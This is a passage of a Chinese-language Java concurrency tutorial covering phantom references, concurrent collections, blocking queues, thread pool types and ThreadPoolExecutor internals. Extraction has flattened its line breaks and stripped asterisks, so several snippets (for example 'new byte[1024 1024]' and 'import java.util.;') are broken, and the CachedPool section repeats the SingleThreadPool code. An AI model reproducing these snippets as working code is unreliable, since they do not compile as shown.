M());tl.remove();} } 3、虚引用 虚引用 虚引用不是给开发人员用的,一般是给写JVM(java虚拟机,没有它java程序运行不了),Netty等技术大牛用的 虚引用,对象当被回收时,会将其放在队列中,此时我们监听到队列中有新值了,就知道有虚引用被回收了 此时我们要做相应的处理,虚引用指向的值,是无法直接get()获取的 虚引用使用场景 一般情况(其它情况暂时没什么用),虚引用指向堆外内存(直接被操作系统管理的内存),JVM无法对其回收 当虚引用对象被回收时,JVM的垃圾回收无法自动回收堆外内存, 但是此时,虚引用对象被回收,会将其放在队列中 操作人员,看到队列中有对象被回收,就进行相应操作,回收堆内存 如何回收堆外内存 C和C++有函数可以用 java现在也提供了Unsafe类可以操作堆外内存,具体请参考上一篇博客,总之,JDK1.8只能通过反射来用,JDK1.9以上可以通过new Unsafe对象来用 Unsafe类的方法有: copyMemory():直接访问内存 allocateMemory():直接分配内存,这就必须手动回收内存了 freeMemory():回收内存 下面是一个虚引用例子,自己看吧,懂得自然懂,现在看不懂的,先收藏或者保存上,以后回来看 / 一个对象是否有虚引用的存在,完全不会对其生存时间构成影响, 也无法通过虚引用来获取一个对象的实例。 为一个对象设置虚引用关联的唯一目的就是能在这个对象被收集器回收时收到一个系统通知。 虚引用和弱引用对关联对象的回收都不会产生影响,如果只有虚引用活着弱引用关联着对象, 那么这个对象就会被回收。它们的不同之处在于弱引用的get方法,虚引用的get方法始终返回null, 弱引用可以使用ReferenceQueue,虚引用必须配合ReferenceQueue使用。 jdk中直接内存的回收就用到虚引用,由于jvm自动内存管理的范围是堆内存, 而直接内存是在堆内存之外(其实是内存映射文件,自行去理解虚拟内存空间的相关概念), 所以直接内存的分配和回收都是有Unsafe类去操作,java在申请一块直接内存之后, 会在堆内存分配一个对象保存这个堆外内存的引用, 这个对象被垃圾收集器管理,一旦这个对象被回收, 相应的用户线程会收到通知并对直接内存进行清理工作。 事实上,虚引用有一个很重要的用途就是用来做堆外内存的释放, DirectByteBuffer就是通过虚引用来实现堆外内存的释放的。/import java.lang.ref.PhantomReference;import java.lang.ref.Reference;import java.lang.ref.ReferenceQueue;import java.util.LinkedList;import java.util.List;public class T04_PhantomReference {private static final List<Object> LIST = new LinkedList<>();private static final ReferenceQueue<M> QUEUE = new ReferenceQueue<>();public static void main(String[] args) {PhantomReference<M> phantomReference = new PhantomReference<>(new M(), QUEUE);new Thread(() -> {while (true) {LIST.add(new byte[1024 1024]);try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();Thread.currentThread().interrupt();}System.out.println(phantomReference.get());} }).start();new Thread(() -> {while (true) {Reference<? extends M> poll = QUEUE.poll();if (poll != null) {System.out.println("--- 虚引用对象被jvm回收了 ---- " + poll);} }}).start();try {Thread.sleep(500);} catch (InterruptedException e) {e.printStackTrace();} }} 2、容器 1、发展历史(一定要了解) map容器你需要了解的历史 JDK早期,java提供了Vector和Hashtable两个容器,这两个容器,很多操作都加了锁Synchronized,对于某些不需要用锁的情况下,就显得十分影响性能,所以现在基本没人用这两个容器,但是面试经常问这两个容器里面的数据结构等内容 后来,出现了HashMap,此容器完全不加锁,是用的最多的容器 但是完全不加锁未免不完善,所以java提供了如下方式,将HashMap变为加锁的 //通过Collections.synchronizedMap(HashMap)方法,将其变为加锁Map集合,其中泛型随意,UUID只是举例。static Map<UUID, UUID> m = Collections.synchronizedMap(new HashMap<UUID, UUID>()); 通过阅读源码发现,上面方法将HashMap变为加锁,也是使用Synchronized,只是锁的内容更细,但并不比HashTable效率高多少 所以衍生除了新的容器ConcurrentHashMap ConcurrentHashMap 此容器,插入效率不如上面的,因为它做了各种判断和CAS,但是差距不是特别大 读取效率很高,100个线程同时访问,每个线程读取一百万次实测 Hashtable 39s ,SynchronizedHashMap 38s ,ConcurrentHashMap 1.7s 前两个将近40秒,ConcurrentHashMap只需要不到2s,由此可见此容器读取效率极高 2、为什么推荐使用Queue来做高并发 为什么推荐Queue(队列) Queue接口提供了很多针对多线程非常友好的API(offer ,peek和poll,其中BlockingQueue还添加了put和take可以阻塞),可以说专门为多线程高并发而创造的接口,所以一般我们使用Queue而不用List 以下代码分别使用链表LinkList和ConcurrentQueue,对比一下速度 LinkList用了5s多,ConcurrentQueue几乎瞬间完成 Concurrent接口就是专为多线程设计,多线程设计要多考虑Queue(高并发用)的使用,少使用List / 有N张火车票,每张票都有一个编号 同时有10个窗口对外售票 请写一个模拟程序 分析下面的程序可能会产生哪些问题? 重复销售?超量销售? 使用Vector或者Collections.synchronizedXXX 分析一下,这样能解决问题吗? 就算操作A和B都是同步的,但A和B组成的复合操作也未必是同步的,仍然需要自己进行同步 就像这个程序,判断size和进行remove必须是一整个的原子操作 @author 马士兵/import java.util.LinkedList;import java.util.List;import java.util.concurrent.TimeUnit;public class TicketSeller3 {static List<String> tickets = new LinkedList<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号:" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {synchronized(tickets) {if(tickets.size() <= 0) break;try {TimeUnit.MILLISECONDS.sleep(10);} catch (InterruptedException e) {e.printStackTrace();}System.out.println("销售了--" + tickets.remove(0));} }}).start();} }} 队列 import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class TicketSeller4 {static Queue<String> tickets = new ConcurrentLinkedQueue<>();static {for(int i=0; i<1000; i++) tickets.add("票 编号:" + i);}public static void main(String[] args) {for(int i=0; i<10; i++) {new Thread(()->{while(true) {String s = tickets.poll();if(s == null) break;else System.out.println("销售了--" + s);} }).start();} }} 3、多线程常用容器 1、ConcurrentHashMap(无序)和ConcurrentSkipListMap(有序,链表,使用跳表数据结构,让查询更快) 跳表:http://blog.csdn.net/sunxianghuang/article/details/52221913 import java.util.;import java.util.concurrent.ConcurrentHashMap;import java.util.concurrent.ConcurrentSkipListMap;import java.util.concurrent.CountDownLatch;public class T01_ConcurrentMap {public static void main(String[] args) {Map<String, String> map = new ConcurrentHashMap<>();//Map<String, String> map = new ConcurrentSkipListMap<>(); //高并发并且排序//Map<String, String> map = new Hashtable<>();//Map<String, String> map = new HashMap<>(); //Collections.synchronizedXXX//TreeMapRandom r = new Random();Thread[] ths = new Thread[100];CountDownLatch latch = new CountDownLatch(ths.length);long start = System.currentTimeMillis();for(int i=0; i<ths.length; i++) {ths[i] = new Thread(()->{for(int j=0; j<10000; j++) map.put("a" + r.nextInt(100000), "a" + r.nextInt(100000));latch.countDown();});}Arrays.asList(ths).forEach(t->t.start());try {latch.await();} catch (InterruptedException e) {e.printStackTrace();}long end = System.currentTimeMillis();System.out.println(end - start);System.out.println(map.size());} } 2、CopyOnWriteList(写时复制)和CopyOnWriteSet 适用于,高并发是,读的多,写的少的情况 当我们写的时候,将容器复制,让写线程去复制的线程写(写的时候加锁) 而读线程依旧去读旧的(读的时候不加锁) 当写完,将对象指向复制后的已经写完的容器,原来容器销毁 大大提高读的效率 / 写时复制容器 copy on write 多线程环境下,写时效率低,读时效率高 适合写少读多的环境 @author 马士兵/import java.util.ArrayList;import java.util.Arrays;import java.util.List;import java.util.Random;import java.util.Vector;import java.util.concurrent.CopyOnWriteArrayList;public class T02_CopyOnWriteList {public static void main(String[] args) {List<String> lists = //new ArrayList<>(); //这个会出并发问题!//new Vector();new CopyOnWriteArrayList<>();Random r = new Random();Thread[] ths = new Thread[100];for(int i=0; i<ths.length; i++) {Runnable task = new Runnable() {@Overridepublic void run() {for(int i=0; i<1000; i++) lists.add("a" + r.nextInt(10000));} };ths[i] = new Thread(task);}runAndComputeTime(ths);System.out.println(lists.size());}static void runAndComputeTime(Thread[] ths) {long s1 = System.currentTimeMillis();Arrays.asList(ths).forEach(t->t.start());Arrays.asList(ths).forEach(t->{try {t.join();} catch (InterruptedException e) {e.printStackTrace();} });long s2 = System.currentTimeMillis();System.out.println(s2 - s1);} } 3、synchronizedList和ConcurrentLinkedQueue package com.mashibing.juc.c_025;import java.util.ArrayList;import java.util.Collections;import java.util.List;import java.util.Queue;import java.util.concurrent.ConcurrentLinkedQueue;public class T04_ConcurrentQueue {public static void main(String[] args) {List<String> strsList = new ArrayList<>();List<String> strsSync = Collections.synchronizedList(strsList);//加锁ListQueue<String> strs = new ConcurrentLinkedQueue<>();//Concurrent链表队列,就是读快for(int i=0; i<10; i++) {strs.offer("a" + i); //add添加,但是不同点是,此方法会返回一个布尔值}System.out.println(strs);System.out.println(strs.size());System.out.println(strs.poll());//取出,取完后将元素去除System.out.println(strs.size());System.out.println(strs.peek());//取出,但是不会将元素从队列删除System.out.println(strs.size());//双端队列Deque} } 4、LinkedBlockingQueue 链表阻塞队列(无界链表,可以一直装东西,直到内存满(其实,也不是无限,其长度Integer.MaxValue就是上限,毕竟最大就这么大)) 主要体现在put和take方法,put添加的时候,如果队列满了,就阻塞当前线程,直到队列有空位,继续插入。take方法取的时候,如果没有值,就阻塞,等有值了,立马去取 import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.LinkedBlockingQueue;import java.util.concurrent.TimeUnit;public class T05_LinkedBlockingQueue {static BlockingQueue<String> strs = new LinkedBlockingQueue<>();static Random r = new Random();public static void main(String[] args) {new Thread(() -> {for (int i = 0; i < 100; i++) {try {strs.put("a" + i); //如果满了,当前线程就会等待(实现阻塞),等多会有空位,将值插入TimeUnit.MILLISECONDS.sleep(r.nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();} }}, "p1").start();for (int i = 0; i < 5; i++) {new Thread(() -> {for (;;) {try {System.out.println(Thread.currentThread().getName() + " take -" + strs.take()); //取内容,如果空了,当前线程就会等待(实现阻塞)} catch (InterruptedException e) {e.printStackTrace();} }}, "c" + i).start();} }} 5、ArrayBlockingQueue 有界阻塞队列(因为Array需要指定长度) import java.util.Random;import java.util.concurrent.ArrayBlockingQueue;import java.util.concurrent.BlockingQueue;import java.util.concurrent.TimeUnit;public class T06_ArrayBlockingQueue {static BlockingQueue<String> strs = new ArrayBlockingQueue<>(10);static Random r = new Random();public static void main(String[] args) throws InterruptedException {for (int i = 0; i < 10; i++) {strs.put("a" + i);}//strs.put("aaa"); //满了就会等待,程序阻塞//strs.add("aaa");//strs.offer("aaa");strs.offer("aaa", 1, TimeUnit.SECONDS);System.out.println(strs);} } 6、特殊的阻塞队列1:DelayQueue 延时队列(按时间进行调度,就是隔多长时间运行,谁隔的少,谁先) 以下例子中,我们添加线程到队列顺序为t12345,正常情况下,会按照顺序运行,但是这里有了延时时间,也就是时间越短,越先执行 步骤很简单,拿到延时队列 指定构造方法 继承 implements Delayed 重写 compareTo和getDelay import java.util.Calendar;import java.util.Random;import java.util.concurrent.BlockingQueue;import java.util.concurrent.DelayQueue;import java.util.concurrent.Delayed;import java.util.concurrent.TimeUnit;public class T07_DelayQueue {static BlockingQueue<MyTask> tasks = new DelayQueue<>();static Random r = new Random();static class MyTask implements Delayed {String name;long runningTime;MyTask(String name, long rt) {this.name = name;this.runningTime = rt;}@Overridepublic int compareTo(Delayed o) {if(this.getDelay(TimeUnit.MILLISECONDS) < o.getDelay(TimeUnit.MILLISECONDS))return -1;else if(this.getDelay(TimeUnit.MILLISECONDS) > o.getDelay(TimeUnit.MILLISECONDS)) return 1;else return 0;}@Overridepublic long getDelay(TimeUnit unit) {return unit.convert(runningTime - System.currentTimeMillis(), TimeUnit.MILLISECONDS);}@Overridepublic String toString() {return name + " " + runningTime;} }public static void main(String[] args) throws InterruptedException {long now = System.currentTimeMillis();MyTask t1 = new MyTask("t1", now + 1000);MyTask t2 = new MyTask("t2", now + 2000);MyTask t3 = new MyTask("t3", now + 1500);MyTask t4 = new MyTask("t4", now + 2500);MyTask t5 = new MyTask("t5", now + 500);tasks.put(t1);tasks.put(t2);tasks.put(t3);tasks.put(t4);tasks.put(t5);System.out.println(tasks);for(int i=0; i<5; i++) {System.out.println(tasks.take());//获取的是toString方法返回值} }} 7、特殊的阻塞队列2:PriorityQueque 优先队列(二叉树算法,就是排序) import java.util.PriorityQueue;public class T07_01_PriorityQueque {public static void main(String[] args) {PriorityQueue<String> q = new PriorityQueue<>();q.add("c");q.add("e");q.add("a");q.add("d");q.add("z");for (int i = 0; i < 5; i++) {System.out.println(q.poll());} }} 8、特殊的阻塞队列3:SynchronusQueue 同步队列(线程池用处非常大) 此队列容量为0,当插入元素时,必须同时有个线程往外取 就是说,当你往这个队列里面插入一个元素,它就拿着这个元素站着(阻塞),直到有个取元素的线程来,它就把元素交给它 就是用来同步数据的,也就是线程间交互数据用的一个特殊队列 package com.mashibing.juc.c_025;import java.util.concurrent.BlockingQueue;import java.util.concurrent.SynchronousQueue;public class T08_SynchronusQueue { //容量为0public static void main(String[] args) throws InterruptedException {BlockingQueue<String> strs = new SynchronousQueue<>();new Thread(()->{//这个线程就是消费者,来取值try {System.out.println(strs.take());//和同步队列要值} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.put("aaa"); //阻塞等待消费者消费,就拿着aaa站着,等线程来取//strs.put("bbb");//strs.add("aaa");System.out.println(strs.size());} } 9、特殊的阻塞队列4:TransferQueue 传递队列 此队列加入了一个方法transfer()用来向队列添加元素 但是和put()方法不同的是,put添加完元素就走了 而这个方法,添加完自己就阻塞了,直到有人将这个元素取走,它才继续工作(省去我们手动阻塞) import java.util.concurrent.LinkedTransferQueue;public class T09_TransferQueue {public static void main(String[] args) throws InterruptedException {LinkedTransferQueue<String> strs = new LinkedTransferQueue<>();new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();strs.transfer("aaa");//放东西到队列,同时阻塞等待消费者线程,取走元素//strs.put("aaa");//如果用put就和普通队列一样,放完东西就走了/new Thread(() -> {try {System.out.println(strs.take());} catch (InterruptedException e) {e.printStackTrace();} }).start();/} } 3、线程池 线程池 由于单独创建线程,十分影响效率,而且无法对线程集中管理,一旦疏落,可能线程无限执行,浪费资源 线程池就是一个存储线程的游泳池,而每个线程就是池子里面的赛道 池子里的线程不执行任何任务,只是提供一个资源 而谁提交了任务,比如我想来游泳,那么池子就给你一个赛道,让你游泳 比如它想练憋气,那么给它一个赛道练憋气 当他们用完,走了,那么后面其它人再过来继续用 这就是线程池,始终只有这几个线程,不做实现,而是借用这几个线程的用户,自己掌控用这些线程资源做什么(提交任务给线程,线程空闲就帮他们完成任务) 线程池的两种类型(两类,不是两个) ThreadPoolExecutor(简称TPE) ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 1、常用类 Executor ExecutorService 扩展了execute方法,具有一个返回值 规定了异步执行机制,提供了一些执行器方法,比如shutdown()关闭等 但是它不知道执行器中的线程何时执行完 Callable 对Runnable进行了扩展,实现Callable的调用,可以有返回值,表示线程的状态 但是无法返回线程执行结果 Future 获得未来线程执行结果 由此,我们可以得知线程池基本的一个使用步骤 其中service.submit():为异步提交,也就是说,主线程该干嘛干嘛,我是异步执行的,和同步不一样(当前线程执行完,主线程才能继续执行,叫同步) futuer.get():获取结果集结果,此时因为异步,主线程执行到这里,结果集可能还没封装好,所以此时如果没有值,就阻塞,直到结果集出来 public static void main(String[] args) throws ExecutionException, InterruptedException {Callable<String> c = new Callable() {@Overridepublic String call() throws Exception {return "Hello Callable";} };ExecutorService service = Executors.newCachedThreadPool();Future<String> future = service.submit(c); //异步System.out.println(future.get());//阻塞service.shutdown();} 2、FutureTask 可充当任务的结果集 上面我们介绍Future是用来得到任务的执行结果的 而FutureTask,可以当做一个任务用,并且返回任务的结果,也就是可以跑线程,然后还可以得到线程结果 public static void main(String[] args) throws InterruptedException, ExecutionException {FutureTask<Integer> task = new FutureTask<>(()->{TimeUnit.MILLISECONDS.sleep(500);return 1000;}); //new Callable () { Integer call();}new Thread(task).start();System.out.println(task.get()); //阻塞} 3、CompletableFuture 非常灵活的任务结果集 一个非常灵活的结果集 他可以将很多执行不同任务的线程的结果进行汇总 比如一个网站,它可以启动多个线程去各大电商网站,比如淘宝,京东,收集某些或某一个商品的价格 最后,将获取的数据进行整合封装 最终,客户就可以通过此网站,获取某类商品在各网站的价格信息 / 假设你能够提供一个服务 这个服务查询各大电商网站同一类产品的价格并汇总展示 @author 马士兵 http://mashibing.com/import java.io.IOException;import java.util.Random;import java.util.concurrent.CompletableFuture;import java.util.concurrent.ExecutionException;import java.util.concurrent.TimeUnit;public class T06_01_CompletableFuture {public static void main(String[] args) throws ExecutionException, InterruptedException {long start, end;/start = System.currentTimeMillis();priceOfTM();priceOfTB();priceOfJD();end = System.currentTimeMillis();System.out.println("use serial method call! " + (end - start));/start = System.currentTimeMillis();CompletableFuture<Double> futureTM = CompletableFuture.supplyAsync(()->priceOfTM());CompletableFuture<Double> futureTB = CompletableFuture.supplyAsync(()->priceOfTB());CompletableFuture<Double> futureJD = CompletableFuture.supplyAsync(()->priceOfJD());CompletableFuture.allOf(futureTM, futureTB, futureJD).join();//当所有结果集都获取到,才汇总阻塞CompletableFuture.supplyAsync(()->priceOfTM()).thenApply(String::valueOf).thenApply(str-> "price " + str).thenAccept(System.out::println);end = System.currentTimeMillis();System.out.println("use completable future! " + (end - start));try {System.in.read();} catch (IOException e) {e.printStackTrace();} }private static double priceOfTM() {delay();return 1.00;}private static double priceOfTB() {delay();return 2.00;}private static double priceOfJD() {delay();return 3.00;}/private static double priceOfAmazon() {delay();throw new RuntimeException("product not exist!");}/private static void delay() {int time = new Random().nextInt(500);try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.printf("After %s sleep!\n", time);} } 4、TPE型线程池1:ThreadPoolExecutor 原理及其参数 线程池由两个集合组成,一个集合存储线程,一个集合存储任务 存储线程:可以规定大小,最多可以有多少个,以及指定核心线程数量(不会被回收) 任务队列:存储任务 细节:初始线程池没有线程,当有一个任务来,线程池起一个线程,又有一个任务来,再起一个线程,直到达到核心线程数量 核心线程数量达到时,新来的任务将存储到任务队列中等待核心线程处理完成,直到任务队列也满了 当任务队列满了,此时再次启动一个线程(非核心线程,一旦空闲,达到指定时间将会消失),直到达到线程最大数量 当线程容器和任务容器都满了,又来了线程,将会执行拒绝策略 上面的细节涉及的所有步骤内容,均由创建线程池的参数执行 下面是ThreadPoolExecutor构造方法参数的源码注释 / 用给定的初始值,创建一个新的线程池 @param corePoolSize 核心线程数量 @param maximumPoolSize 最大线程数量 @param keepAliveTime 当线程数大于核心线程数量时,空闲的线程可生存的时间 @param unit 时间单位 @param workQueue 任务队列,只能包含由execute提交的Runnable任务 @param threadFactory 工厂,用于创建线程给线程池调度的工厂,可以自定义 @param handler 拒绝策略(可以自定义,JDK默认提供4种),当线程边界和队列容量已经满了,新来线程被阻塞时使用的处理程序/public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) JDK提供的4种拒绝策略,不常用,一般都是自己定义拒绝策略 Abort:抛异常 Discard:扔掉,不抛异常 DiscardOldest:扔掉排队时间最久的(将队列中排队时间最久的扔掉,然后让新来的进来) CallerRuns:调用者处理任务(谁通过execute方法提交任务,谁处理) ThreadPoolExecutor继承关系 继承关系:ThreadPoolExecutor->AbstractExectorService类->ExectorService接口->Exector接口 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面创建线程池,哪里用到了它 使用实例 import java.io.IOException;import java.util.concurrent.;public class T05_00_HelloThreadPool {static class Task implements Runnable {private int i;public Task(int i) {this.i = i;}@Overridepublic void run() {System.out.println(Thread.currentThread().getName() + " Task " + i);try {System.in.read();} catch (IOException e) {e.printStackTrace();} }@Overridepublic String toString() {return "Task{" +"i=" + i +'}';} }public static void main(String[] args) {ThreadPoolExecutor tpe = new ThreadPoolExecutor(2, 4,60, TimeUnit.SECONDS,new ArrayBlockingQueue<Runnable>(4),Executors.defaultThreadFactory(),new ThreadPoolExecutor.CallerRunsPolicy());//创建线程池,核心2个,最大4个,空闲线程存活时间60s,任务队列容量4,使用默认线程工程,创建线程。拒绝策略是JDK提供的for (int i = 0; i < 8; i++) {tpe.execute(new Task(i));//供提交8次任务}System.out.println(tpe.getQueue());//查看任务队列tpe.execute(new Task(100));//提交新的任务System.out.println(tpe.getQueue());tpe.shutdown();//关闭线程池} } 5、TPE型线程池2:SingleThreadPool 单例线程池(只有一个线程) 为什么有单例线程池 有任务队列,有线程池管理机制 Executors(注意这后面有s) 它可以说是线程池工厂类,我们一般通过它创建线程池,并且它为我们封装了线程 看看下面哪里用到了它 /创建单例线程池,扔5个任务进去,查看输出结果,看看有几个线程执行任务/import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();for(int i=0; i<5; i++) {final int j = i;service.execute(()->{System.out.println(j + " " + Thread.currentThread().getName());});} }} 6、TPE型线程池3:CachedPool 缓存,存储线程池 此线程池没有核心线程,来一个任务启动一个线程(最多Integer.MaxValue,不会放在任务队列,因为任务队列容量为0),每个线程空闲后,只能活60s 实例 import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class T07_SingleThreadPool {public static void main(String[] args) {ExecutorService service = Executors.newSingleThreadExecutor();//通过Executors获取池子for(int i=0; i<5; i++) {final int j = i;service.execute(()->{//提交任务System.out.println(j + " " + Thread.currentThread().getName());});}service.shutdown();} } 7、TPE型线程池4:FixedThreadPool 固定线程池 此线次池,用于创建一个固定线程数量的线程池,不会回收 实例 import java.util.ArrayList;import java.util.List;import java.util.concurrent.Callable;import java.util.concurrent.ExecutionException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.Future;public class T09_FixedThreadPool {public static void main(String[] args) throws InterruptedException, ExecutionException {//并发执行long start = System.currentTimeMillis();getPrime(1, 200000); long end = System.currentTimeMillis();System.out.println(end - start);//输出并发执行耗费时间final int cpuCoreNum = 4;//并行执行ExecutorService service = Executors.newFixedThreadPool(cpuCoreNum);MyTask t1 = new MyTask(1, 80000); //1-5 5-10 10-15 15-20MyTask t2 = new MyTask(80001, 130000);MyTask t3 = new MyTask(130001, 170000);MyTask t4 = new MyTask(170001, 200000);Future<List<Integer>> f1 = service.submit(t1);Future<List<Integer>> f2 = service.submit(t2);Future<List<Integer>> f3 = service.submit(t3);Future<List<Integer>> f4 = service.submit(t4);start = System.currentTimeMillis();f1.get();f2.get();f3.get();f4.get();end = System.currentTimeMillis();System.out.println(end - start);//输出并行耗费时间}static class MyTask implements Callable<List<Integer>> {int startPos, endPos;MyTask(int s, int e) {this.startPos = s;this.endPos = e;}@Overridepublic List<Integer> call() throws Exception {List<Integer> r = getPrime(startPos, endPos);return r;} }static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;}static List<Integer> getPrime(int start, int end) {List<Integer> results = new ArrayList<>();for(int i=start; i<=end; i++) {if(isPrime(i)) results.add(i);}return results;} } 8、TPE型线程池5:ScheduledPool 预定,延时线程池 根据延时时间(隔多长时间后运行),排序,哪个线程先执行,用户只需要指定核心线程数量 此线程池返回的池对象,和提交任务方法都不一样,比较涉及到时间 import java.util.Random;import java.util.concurrent.Executors;import java.util.concurrent.ScheduledExecutorService;import java.util.concurrent.TimeUnit;public class T10_ScheduledPool {public static void main(String[] args) {ScheduledExecutorService service = Executors.newScheduledThreadPool(4);service.scheduleAtFixedRate(()->{//提交延时任务try {TimeUnit.MILLISECONDS.sleep(new Random().nextInt(1000));} catch (InterruptedException e) {e.printStackTrace();}System.out.println(Thread.currentThread().getName());}, 0, 500, TimeUnit.MILLISECONDS);//指定延时时间和单位,第一个任务延时0毫秒,之后的任务,延时500毫秒} } 9、手写拒绝策略小例子 import java.util.concurrent.;public class T14_MyRejectedHandler {public static void main(String[] args) {ExecutorService service = new ThreadPoolExecutor(4, 4,0, TimeUnit.SECONDS, new ArrayBlockingQueue<>(6),Executors.defaultThreadFactory(),new MyHandler());//将手写拒绝策略传入}static class MyHandler implements RejectedExecutionHandler {//1、继承RejectedExecutionHandler@Overridepublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {//2、重写方法//log("r rejected")//伪代码,表示通过log4j.log()报一下日志,拒绝的时间,线程名//save r kafka mysql redis//可以尝试保存队列//try 3 times //可以尝试几次,比如3次,重新去抢队列,3次还不行就丢弃if(executor.getQueue().size() < 10000) {//尝试条件,如果size>10000了,就执行拒绝策略//try put again();//如果小于10000,尝试将其放到队列中} }} } 10、ForkJoinPool线程池1:ForkJoinPool 前面我们讲过线程分为两大类,TPE和FJP ForkJoinPool(分解汇总任务(将任务细化,最后汇总结果),少量线程执行多个任务(子任务,TPE做不到先执行子任务),CPU密集型) 适合将大任务切分成多个小任务运行 两个方法,fork():分子任务,将子任务分配到线程池中 join():当前任务的计算结果,如果有子任务,等子任务结果返回后再汇总 下面实例实现,一百万个随机数求和,由两种方法实现,一种ForkJoinPool分任务并行,一种使用单线程做 import java.io.IOException;import java.util.Arrays;import java.util.Random;import java.util.concurrent.ForkJoinPool;import java.util.concurrent.RecursiveAction;import java.util.concurrent.RecursiveTask;public class T12_ForkJoinPool {//1000000个随机数求和static int[] nums = new int[1000000];//一堆数static final int MAX_NUM = 50000;//分任务时,每个任务的操作量不能多于50000个,否则就继续细分static Random r = new Random();//使用随机数将数组初始化static {for(int i=0; i<nums.length; i++) {nums[i] = r.nextInt(100);}System.out.println("---" + Arrays.stream(nums).sum()); //stream api 单线程就这么做,一个一个加}//分任务,需要继承,可以继承RecursiveAction(不需要返回值,一般用在不需要返回值的场景)或//RecursiveTask(需要返回值,我们用这个,因为我们需要最后获取求和结果)两个更好实现的类,//他俩继承与ForkJoinTaskstatic class AddTaskRet extends RecursiveTask<Long> {private static final long serialVersionUID = 1L;int start, end;AddTaskRet(int s, int e) {start = s;end = e;}@Overrideprotected Long compute() {if(end-start <= MAX_NUM) {//如果任务操作数小于规定的最大操作数,就进行运算,long sum = 0L;for(int i=start; i<end; i++) sum += nums[i];return sum;//返回结果} //如果分配的操作数大于规定,就继续细分(简单的重中点分,两半)int middle = start + (end-start)/2;//获取中间值AddTaskRet subTask1 = new AddTaskRet(start, middle);//传入起始值和中间值,表示一个子任务AddTaskRet subTask2 = new AddTaskRet(middle, end);//中间值和结尾值,表示一个子任务subTask1.fork();//分任务subTask2.fork();//分任务return subTask1.join() + subTask2.join();//最后返回结果汇总} }public static void main(String[] args) throws IOException {/ForkJoinPool fjp = new ForkJoinPool();AddTask task = new AddTask(0, nums.length);fjp.execute(task);/ForkJoinPool fjp = new ForkJoinPool();//创建线程池AddTaskRet task = new AddTaskRet(0, nums.length);//创建任务fjp.execute(task);//传入任务long result = task.join();//返回汇总结果System.out.println(result);//System.in.read();} } 11、ForkJoinPool线程池2:WorkStealingPool 任务偷取线程池 原来的线程池,都是有一个任务队列,而这个不同,它给每个线程都分配了一个任务队列 当某一个线程的任务队列没有任务,并且自己空闲,它就去其它线程的任务队列中偷任务,所以叫任务偷取线程池 细节:当线程自己从自己的任务队列拿任务时,不需要加锁,但是偷任务时,因为有两个线程,可能发生同步问题,需要加锁 此线程继承FJP 实例 import java.io.IOException;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;public class T11_WorkStealingPool {public static void main(String[] args) throws IOException {ExecutorService service = Executors.newWorkStealingPool();System.out.println(Runtime.getRuntime().availableProcessors());service.execute(new R(1000));service.execute(new R(2000));service.execute(new R(2000));service.execute(new R(2000)); //daemonservice.execute(new R(2000));//由于产生的是精灵线程(守护线程、后台线程),主线程不阻塞的话,看不到输出System.in.read(); }static class R implements Runnable {int time;R(int t) {this.time = t;}@Overridepublic void run() {try {TimeUnit.MILLISECONDS.sleep(time);} catch (InterruptedException e) {e.printStackTrace();}System.out.println(time + " " + Thread.currentThread().getName());} }} 12、流式API:ParallelStreamAPI 不懂的请参考:https://blog.csdn.net/grd_java/article/details/110265219 实例 import java.util.ArrayList;import java.util.List;import java.util.Random;public class T13_ParallelStreamAPI {public static void main(String[] args) {List<Integer> nums = new ArrayList<>();Random r = new Random();for(int i=0; i<10000; i++) nums.add(1000000 + r.nextInt(1000000));//System.out.println(nums);long start = System.currentTimeMillis();nums.forEach(v->isPrime(v));long end = System.currentTimeMillis();System.out.println(end - start);//使用parallel stream apistart = System.currentTimeMillis();nums.parallelStream().forEach(T13_ParallelStreamAPI::isPrime);//并行流,将任务切分成子任务执行end = System.currentTimeMillis();System.out.println(end - start);}static boolean isPrime(int num) {for(int i=2; i<=num/2; i++) {if(num % i == 0) return false;}return true;} } 13、总结 总结 Callable相当于一Runnable但是它有返回值 Future:存储执行完产生的结果 FutureTask 相当于Future+Runnable,既可以执行任务,又能获取任务执行的Future结果 CompletableFuture 可以多任务异步,并对多任务控制,整合任务结果,细化完美,比如可以一个任务完成就可以整合结果,也可以所有任务完成才整合结果 4、ThreadPoolExecutor源码解析 依然只讲重点,实际还需要大家按照上篇博客中看源码的方式来看 1、常用变量的解释 // 1. ctl,可以看做一个int类型的数字,高3位表示线程池状态,低29位表示worker数量private final AtomicInteger ctl = new AtomicInteger(ctlOf(RUNNING, 0));// 2. COUNT_BITS,Integer.SIZE为32,所以COUNT_BITS为29private static final int COUNT_BITS = Integer.SIZE - 3;// 3. CAPACITY,线程池允许的最大线程数。1左移29位,然后减1,即为 2^29 - 1private static final int CAPACITY = (1 << COUNT_BITS) - 1;// runState is stored in the high-order bits// 4. 线程池有5种状态,按大小排序如下:RUNNING < SHUTDOWN < STOP < TIDYING < TERMINATEDprivate static final int RUNNING = -1 << COUNT_BITS;private static final int SHUTDOWN = 0 << COUNT_BITS;private static final int STOP = 1 << 